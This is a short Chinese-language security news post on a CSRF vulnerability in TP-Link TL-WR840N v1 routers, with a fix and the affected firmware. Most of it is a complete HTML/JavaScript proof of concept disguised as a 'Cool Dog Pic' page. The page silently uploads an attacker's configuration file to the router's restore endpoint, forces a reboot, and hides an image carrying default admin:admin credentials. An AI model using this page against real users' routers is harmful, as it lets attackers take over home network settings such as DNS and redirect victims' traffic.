免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! TP-Link路由器在国内的用户量很大,最近国外安全研究者发现TP-Link一个系列的路由器存在 CSRF 漏洞,攻击者可以修改路由器的任意配置,包括 DNS 等。 漏洞原理: TP-Link 攻击者可以在自己的路由器中设置一些配置项,然后将配置文件导出,就可以拿来do anything you want 了~ 利用测试过程: 图一显示POC(概念验证)运行之前的配置情况 图二显示运行 POC 的情况 图三显示 POC 运行完之后,配置已经被改了 POC: <html> <head><title>Cool Dog Pic</title></head> <body> <script type="text/javascript"> exploit(); function getConfigureationFile(file){ var xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET",file,false); xmlhttp.overrideMimeType("text/plain; charset=x-user-defined"); xmlhttp.send(null); return xmlhttp.responseText; } function uploadFileToRouter(fileData, filename){ var boundary = "367815278484079563322656070"; var body = ''; body += '------------------------' + boundary + '\r\n'; body += 'Content-Disposition: form-data; name="filename"; filename="config.bin"\r\n'; body += 'Content-Type: application/octet-stream\r\n'; body += '\r\n'; for (var i = 0;i<fileData.length;i++){ body += String.fromCharCode(fileData.charCodeAt(i) & 0xff); } body += '\r\n'; body += '------------------------' + boundary + '\r\n'; body += 'Content-Disposition: form=data; name="Restore"\r\n'; body += '\r\n'; body += 'Restore\r\n'; body += '------------------------' + boundary + '--\r\n'; var xmlhttp = new XMLHttpRequest(); xmlhttp.post("POST","http://192.168.0.1/incoming/RouterBakCfgUpload.cfg",true); xmlhttp.withCredentials = true; xmlhttp.setRequestHeader("Content-Type", 'multipart/form-data;boundary=-------------------------------' + boundary); xmlhttp.setRequestHeader('Content-length', body.length); xmlhttp.sendAsBinary(body); } function rebootRouter(){ var xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET","http://192.168.0.1/userRpm/ConfUpdateTemp.htm",true); xmlhttp.withCredentials = true; xmlhttp.send(null); } function sleep(milliseconds){ var start = new Date().getTime(); for (var i = 0;i<1e7;i++){ if ((new Date().getTime() - start) > milliseconds) { break; } } } function exploit(){ sleep(3000); var c = getConfigureationFile('config.bin'); uploadFileToRouter(c,'config.bin'); rebootRouter(); } </script> <img src="http://fc05.deviantart.net/fs71/f/2012/092/a/e/aww__derp_puppy_by_chrisiipoo-d4uuah3.jpg"></img> <img width='0' height='0' src="http://admin:[email protected]" class="hidden"></img> </body> 修复方案: 升级到固件3.13.27, build141120 或更新的版本。 影响范围: TL-WR840N v1 (固件版本 3.13.27, build140714 或更早的)。 参考来源secureworks,文/实习编辑 吴知 |